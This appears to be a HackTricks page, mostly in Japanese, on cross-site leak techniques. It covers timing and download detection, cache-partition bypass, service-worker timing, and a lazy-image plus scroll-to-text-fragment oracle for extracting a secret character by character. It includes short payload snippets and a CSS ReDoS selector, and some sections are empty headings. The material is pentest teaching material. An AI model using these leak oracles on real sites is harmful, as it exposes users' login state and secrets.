さらに、ユーザーの操作なしにリンクのレンダリングタイミングを悪用することで、検出が可能です。ブラウザは訪れたリンクと未訪問リンクを異なる方法でレンダリングする場合があるため、これによりレンダリングに時間差が生じ、タイミング分析によって訪問状態を検出できます。この技術を使用して、複数のリンクを使用してタイミングの違いを拡大し、訪問状態を時間分析によって検出可能にする、Chromium のバグレポートに PoC が記載されています。

これらのプロパティやメソッドの詳細については、それぞれのドキュメントページをご覧ください：

ContentDocument X-Frame Leak

Chromeでは、X-Frame-Optionsヘッダーが"deny"または"same-origin"に設定されたページがオブジェクトとして埋め込まれると、エラーページが表示されます。Chromeは、他のブラウザやiframesとは異なり、このオブジェクトのcontentDocumentプロパティに対してnullではなく空のドキュメントオブジェクトを返します。攻撃者は、空のドキュメントを検出することで、X-Frame-Optionsヘッダーを一貫して設定せずにエラーページを見落とす開発者がいる場合、ユーザーの状態に関する情報を明らかにする可能性があります。このようなリークを防ぐためには、セキュリティヘッダーの意識と一貫した適用が重要です。

Download Detection

特にContent-Disposition: attachmentというContent-Dispositionヘッダーは、ブラウザにコンテンツをインライン表示するのではなくダウンロードするよう指示します。この動作は、ユーザーがファイルのダウンロードをトリガーするページにアクセスできるかどうかを検出するために悪用される可能性があります。Chromiumベースのブラウザでは、このダウンロード動作を検出するためのいくつかのテクニックがあります：

  1. ダウンロードバーの監視:
  • Chromiumベースのブラウザでファイルがダウンロードされると、ブラウザウィンドウの下部にダウンロードバーが表示されます。
  • ウィンドウの高さの変化を監視することで、攻撃者はダウンロードバーの表示を推測し、ダウンロードが開始されたことを示唆できます。
  1. iframeを使用したダウンロードナビゲーション:
  • Content-Disposition: attachmentヘッダーを使用してページがファイルのダウンロードをトリガーすると、ナビゲーションイベントが発生しません。
  • iframe内にコンテンツを読み込み、ナビゲーションイベントを監視することで、コンテンツの表示がファイルのダウンロードを引き起こすかどうか（ナビゲーションが発生しない）を確認できます。
  1. iframeを使用しないダウンロードナビゲーション:
  • iframeテクニックと同様に、この方法はiframeの代わりにwindow.openを使用します。
  • 新しく開かれたウィンドウでのナビゲーションイベントを監視することで、ファイルのダウンロードがトリガーされたかどうか（ナビゲーションが発生しない）やコンテンツがインライン表示されたかどうかを特定できます。

これらのテクニックは、ログイン済みユーザーのみがそのようなダウンロードをトリガーできるシナリオでは、ブラウザの応答に基づいてユーザーの認証状態を間接的に推測するために使用できます。

Partitioned HTTP Cache Bypass

{% hint style="warning" %} このテクニックが興味深い理由：Chromeにはキャッシュの分割があり、新しく開かれたページのキャッシュキーは次のようになります：(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)、しかし、ngrokページを開いてそこでfetchを使用すると、キャッシュキーは次のようになります：(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)、キャッシュキーが異なるため、キャッシュを共有できません。詳細はこちら：Gaining security and privacy by partitioning the cache
（こちらのコメントより） {% endhint %}

サイトexample.comが*.example.com/resourceからリソースを含む場合、そのリソースはトップレベルナビゲーションを介して直接リクエストされた場合と同じキャッシュキーを持ちます。これは、トップレベル_eTLD+1_とフレーム_eTLD+1_で構成されているためです。

リソースの読み込みよりもキャッシュへのアクセスが速いため、ページの場所を変更し、20ms後にキャンセルするなどの試みが可能です。停止後にオリジンが変更された場合、リソースがキャッシュされていることを意味します。
または、キャッシュされている可能性のあるページにいくつかのfetchを送信し、それが完了するまでの時間を測定することもできます。

Manual Redirect

Fetch with AbortController

fetchとsetTimeoutをAbortControllerと共に使用して、リソースがキャッシュされているかどうかを検出し、特定のリソースをブラウザキャッシュから削除することが可能です。さらに、新しいコンテンツをキャッシュすることなくプロセスが行われます。

スクリプト汚染

サービスワーカー

与えられたシナリオでは、攻撃者は自身のドメインの1つ、「attacker.com」内でサービスワーカーを登録することを主導します。次に、攻撃者はターゲットウェブサイトでメインドキュメントから新しいウィンドウを開き、サービスワーカーにタイマーを開始するよう指示します。新しいウィンドウが読み込みを開始すると、攻撃者は前のステップで取得した参照をサービスワーカーによって管理されるページに移動します。

前のステップで開始されたリクエストが到着すると、サービスワーカーは**204 (No Content)**ステータスコードで応答し、ナビゲーションプロセスを効果的に終了します。この時点で、サービスワーカーは前述のステップで開始されたタイマーからの測定値をキャプチャします。この測定値は、ナビゲーションプロセスの遅延を引き起こすJavaScriptの期間に影響を受けます。

{% hint style="warning" %} 実行時間計測では、ネットワーク要因を排除してより正確な測定値を取得することが可能です。たとえば、ページで使用されるリソースをページを読み込む前に読み込むことで実現できます。 {% endhint %}

フェッチタイミング

クロスウィンドウタイミング


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HTMLまたは再注入で

ここでは、クロスオリジンHTMLから情報を外部流出させるためのテクニックを見つけることができます。これらのテクニックは、何らかの理由でHTMLを注入できるがJSコードを注入できない場合に興味深いものです。

ダングリングマークアップ

{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

画像の遅延読み込み

もしコンテンツを外部流出する必要があり、秘密の前にHTMLを追加できる場合は、一般的なダングリングマークアップテクニックをチェックすべきです。
ただし、何らかの理由で1文字ずつ行う必要がある場合（たとえば通信がキャッシュヒットを介して行われる場合）、このトリックを使用できます。

HTMLの画像には、読み込み時に画像が表示されるようにするための "loading"属性があります。その場合、画像はページの読み込み中ではなく、表示されるときに読み込まれます。

<img src=/something loading=lazy >

したがって、できることは、多くのジャンク文字（たとえば何千もの"W"）を秘密の前にウェブページに追加するか、<br><canvas height="1850px"></canvas><br>のようなものを追加することです。
その後、たとえばインジェクションがフラグの前に現れる場合、画像は読み込まれますが、フラグが後に現れると、フラグとジャンクが読み込まれないようになります（どれだけのジャンクを配置するかを調整する必要があります）。これはこの解説で起こったことです。

もう1つのオプションは、許可されている場合にscroll-to-text-fragmentを使用することです：

Scroll-to-text-fragment

ただし、ボットがページにアクセスするようにすることができます。

#:~:text=SECR

So the web page will be something like: https://victim.com/post.html#:~:text=SECR

Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.

What this text will do is to make the bot access any text in the page that contains the text SECR. As that text is the secret and it's just below the image, the image will only load if the guessed secret is correct. So there you have your oracle to exfiltrate the secret char by char.

Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Image Lazy Loading Time Based

If it's not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isn't loaded. This is what was used in the solution of this writeup sumarized here:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

If jQuery(location.hash) is used, it's possible to find out via timing if some HTML content exists, this is because if the selector main[id='site-main'] doesn't match it doesn't need to check the rest of the selectors:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

防御

https://xsinator.com/paper.pdfにおいて推奨される緩和策があり、またhttps://xsleaks.dev/の各セクションにもあります。これらのテクニックに対抗する方法についての詳細情報はそちらを参照してください。

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）！

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